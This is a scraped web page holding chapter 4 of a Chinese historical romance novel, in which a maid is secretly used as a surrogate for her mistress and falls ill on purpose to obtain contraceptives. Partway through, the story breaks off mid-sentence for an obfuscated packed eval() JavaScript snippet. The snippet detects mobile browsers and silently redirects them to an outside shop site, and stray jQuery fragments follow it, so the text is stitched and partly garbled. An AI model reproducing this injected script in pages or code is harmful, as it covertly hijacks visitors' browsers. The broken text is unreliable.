文趣网 > 其他小说 > 替身孕婢跑路后 > 4. 第 4 章
    说完,徐沼自己都忍不住失笑。

    这要是让军中兄弟知晓,不定怎么编排他。

    池萦抬头,正好撞入徐沼泛着笑的眼里,那瞳孔里面还倒映着自己染满泪痕的破碎可怜模样。

    一瞬间池萦心神晃了一下,不可否认,徐沼除了折腾她时令人讨厌,其他方面真的没得挑剔。

    常年久居边关气势足,高鼻深目,五官俊隽近乎妖冶,偏又面容严峻寒潭眼,让人不敢随意造次。

    她不知该如何回答,只是一味的默默流泪。

    想着自己的遭遇,想着周绮兰那张可怖可恨的嘴脸,凭什么要让她和徐沼夫妻同心,白头厮守?

    盯着徐沼怜爱着自己的深眸,池萦不甘心,好不甘心啊。

    突然她反扣着徐沼的大手,按在自己还热气滚滚的脸颊上,仇视的眼神变的热切起来。

    “徐沼,你好好感受这张脸,日后不可以忘记,也不要认错这张脸的主人……”

    这话听着怎么好生怪异?

    妻子是世家小姐,知礼守礼,人前恭敬有余,人后贤惠得当,从不曾直呼他的名讳。

    不知为何,徐沼心里又涌出了一丝蹊跷,他总觉得白日里的妻子,和交颈缠绵的妻子反差好大。

    “夫人生的美艳,为夫自然不敢忘却,只是夫人为何会有这样的顾虑?”

    “这个你别管,总之你记住,徐沼你真的不可以认错。”池萦将软绵绵的身子覆到身上,一双碧藕也缠了上去,整张脸紧贴男人如山似的胸膛。

    闷闷道:“好痛,我要痛死了。”

    “还痛?”徐沼眯眼察言观色,有些发笑。

    他是没看出来怀中娇人有多痛,倒是看出来她想折腾自己,缠着自己。

    她发起嗔来,也别有一番风.趣,让人忍不住想要狠狠蹂.躏。

    任由被缠着,徐沼将人一转,按在身下,低笑着:“待我检查一番再定缘由。”

    又是一夜颠鸾倒凤。

    池萦再醒来,史嬷嬷还在,像是专程在等她醒来一样。

    看到她坐起,史嬷嬷放下手里的茶盅,端来一碗热滚滚的浓汤让池萦喝下。

    池萦小脸顿时一苦,捏着鼻子,抗拒道:“这又是补药吗?今日能不能不喝,好苦,喝完一整天都没有食欲。”

    “池萦姑娘,你就别为难老奴了,夫人嘉奖,你不喝,老奴我如何回去交差?”

    池萦本来就是试探而已,见史嬷嬷不容置喙,她只好接过一饮而尽。

    史嬷嬷这才换上笑脸。叮嘱了一番才离开。

    她一走,池萦便飞快下榻催吐,即便把药汁吐完,也还是担心,弄不来避子药,就有怀上的风险。

    可避子药哪是可以轻易弄到的?

    不能再让周绮兰把她关着!

    池萦左思右想,觉得只有拿身体做一做文章了。

    周绮兰就指着借她的肚子,或许能有奇效。

    池萦这场热疹来的又凶又急,等被人发现时,都已经烧迷糊了,一直喊着要娘,说自己身子好痛。

    正房中,嘭然一声,瓷器碎裂的震响传至屋外。

    “好端端的怎么会病?”还是在这个节骨眼生病。

    想到这些时日来,连番的打击和屈辱,一口气恶气堆积胸口,得不到迂解,使得周绮兰近日来的脾气,一点就爆。

    传话的小丫头见主母这般,跼蹐作兢,如实摇头,声称自己不知情。

    “请个大夫吧,需要什么药材,只管用上,务必尽快养好身子。”

    “世子,夫人还在午睡,吩咐不让任何人打扰……”屋外,小丫鬟为难的道。

    似乎很怕人闯进去,她不知道屋子里神神秘秘搞什么,只是史嬷嬷是这样吩咐的,若不拦着,等世子离开,史嬷嬷就该责骂她们这些小丫鬟。

    “还在睡?”徐沼想着昨夜数次运动,莫不是累坏了?

    那更得进去瞧瞧是什么情况,要是需要请大夫,就让人赶紧去请太医。

    脚下还未动,帘子便先掀了起来,史嬷嬷迎了出来。

    “世子来的正是时候,夫人也才睡醒。”

    屋里,周绮兰斜坐着,看见徐沼高大的身姿绕过了屏风,方才慢柔柔的起身。

    看到妻子面容憔悴,徐沼冷冽深眸柔和了一些。

    快步走过去,想扶住摇摇欲坠的妻子,。

    徐沼这只不过是自然而然的行为,但是没想到人家似乎很不领情,亦或者是排斥他靠近。

    等他大手伸过去时,妻子俨然躲过去。

    徐沼不解的打量她,想不通,榻中那般爱撒娇黏人的人,怎么一到了白日,就跟换了个人似得?

    行军打仗的人,耳力都很好,刚刚在门外,他隐约听到药材、养身子之类的字眼。

    “夫人可是身子不爽利?”

    比起追求周绮兰的冷淡疏离,徐沼此刻显然更关心她的身体。

    至于心底的怪异,他也很快释然。

    夫人是养在闺阁娇娇女,他与她不过才成婚,相信假以时日,妻子总会习惯他的碰触。

    周绮兰斜靠着,神情有几分倦怠,她支着额头,想着池萦那贱婢忽然染病,她只能也跟着圆。

    浅浅的嗯了一声,“让夫君笑话了,还望夫君别责怪妾身。”

    能责怪她什么?说到底也有他部分责任。

    徐沼不免感到几分惭愧和不自在,抵在膝上的大手都收紧了几回。

    见妻子眼圈泛红含泪,黯然神伤不已,他抵唇轻咳,声线越发温和。

    “哪会责怪夫人,也是我孟浪了,日后再不会如此,夫人尽管安心养身子,太医院的陈院判素来和我交好,不如请了来,为夫人诊诊脉?”

    “母体强健于子嗣也有益处。”

    史嬷嬷大惊失色。

    夫人这身子如何能让太医院的人过脉?好不容易费尽心思才隐瞒的一切,岂不是要瞒不住!

    绝不能让太医把脉!

    一瞬间周绮兰的表情都木了,下意识就要拒绝,但话到了口中,又硬生生咽回去。

    不因为别的,而是她看到了世子洞察人心一样锐利的目光。

    徐沼一直都是一个心思缜密之人。

    若她贸然拒绝,届时势必会引来世子的诸多盘问。

    周绮兰非常害怕引起徐沼不必要的猜忌。

    世子回家本就是抱着诞养子嗣的重任!

    周绮兰掐着手帕,几乎要藏不住脸上的花容失色,身子都僵立住。

    感受着那定在她身上审视的目光,她头皮发麻,拒无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495365|202461||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    可拒。

    “夫君,我只是偶感疲累,休息一两日就好了,何必麻烦太医跑一趟,再者又是因为这种事……”

    说到这里,她的声音也跟着低下去,苍白的面容也因害羞,染上了两团红霞。

    “我有位了解我平安脉的大夫,若是夫君不放心,就请她来为我把把脉。”

    接连两次碰软钉子,徐沼的心思冷淡下去,不再似来时那般舒心、殷切。

    一盏茶都没有用完,徐沼就起身,称还有诸多公务等着回去过目。

    也不等人回应,就这么走了。

    院中小径上,小丫头带领着大夫脚步匆忙,行至拐弯处,差点和徐沼撞上。

    “求世子宽恕!”

    小丫头身后年轻大夫一听是侯府世子,也歉意地连连执手作辑。

    “可是给夫人看诊?”

    小丫头抬眼飞快睇了世子一眼,脸颊红红的,又不敢明晃晃的看。

    看了一眼,就赶紧低下头,不敢再多看。

    “是池萦姑娘病了,夫人命奴婢出府请的大夫,世子请见谅,池萦姑娘病情实在凶险,奴婢要尽快领着大夫诊治。”

    徐沼点点头,回书房的路上,还再回味池萦。

    他记得这个人,夫人跟前的侍女,之所以对池萦映像深,是因为这丫头和夫人长着七八分相似的脸。

    鬼使神差的,徐沼的脑海中忽然跳出一张过份明艳的脸。

    当真是人比花娇,就是胆子忒小,好几次他拿眼睇那小丫鬟,连头都不敢抬一下。

    仿佛自己是什么洪水猛兽一般。

    徐沼摇摇头,摒弃脑海中的杂念,回到景晖堂。

    他久在边关领兵,回到京城除了面见陛下,见过几位旧友,并无繁多公务。

    闲赋在家,也想多陪伴夫人,谁知会是这般情景。

    回忆着夜晚时的耳鬓厮磨、琴瑟和鸣……手中的书也再看不进去。

    徐沼今日只觉心中烦闷,干脆丢下书,下棋清心。

    丝毫不知他娶的这位好妻子,私下底是怎样将他玩弄于鼓掌间的。

    下人房里,年轻大夫把完脉。

    “姑娘腹中绞痛不难办,吃上三萜药,应该就能好,气滞引发的内弱,姑娘还是多宽心才能好的快,切莫忧思过虑!”

    观他面色吞吐犹豫,池萦知晓他是看出了她的病,有手笔在里面。

    屋中没有第三人,池萦也不隐瞒,艰难起身,自榻上先下跪。

    “唉…使不得,万万使不得!”年轻大夫想扶池萦起来。

    但孤男寡女,这姑娘房.事过多过重,定然是与主子有一腿,被人看了去,他便是有十张嘴也说不清呀。

    “不瞒您,我是生生将自己折腾成这样子的,只为求大夫在药中加、加避子的……”

    “不要写进药方!”

    “姑娘有旧疾,服用虎狼之药,若伤及根本,于将来子嗣有碍,这不是救你,这是再害你,恕在下不能这么做。”

    “子嗣于她人是金疙瘩,可在这儿是催命符!”

    池萦眼睁睁的看着大夫收拾问诊箱,马上就走人的样子,抓着大夫的袖子,就好像抓住了救命稻草。

    满目的急切,含泪的委屈,仿佛在诉说,他不答应,她就只有死了。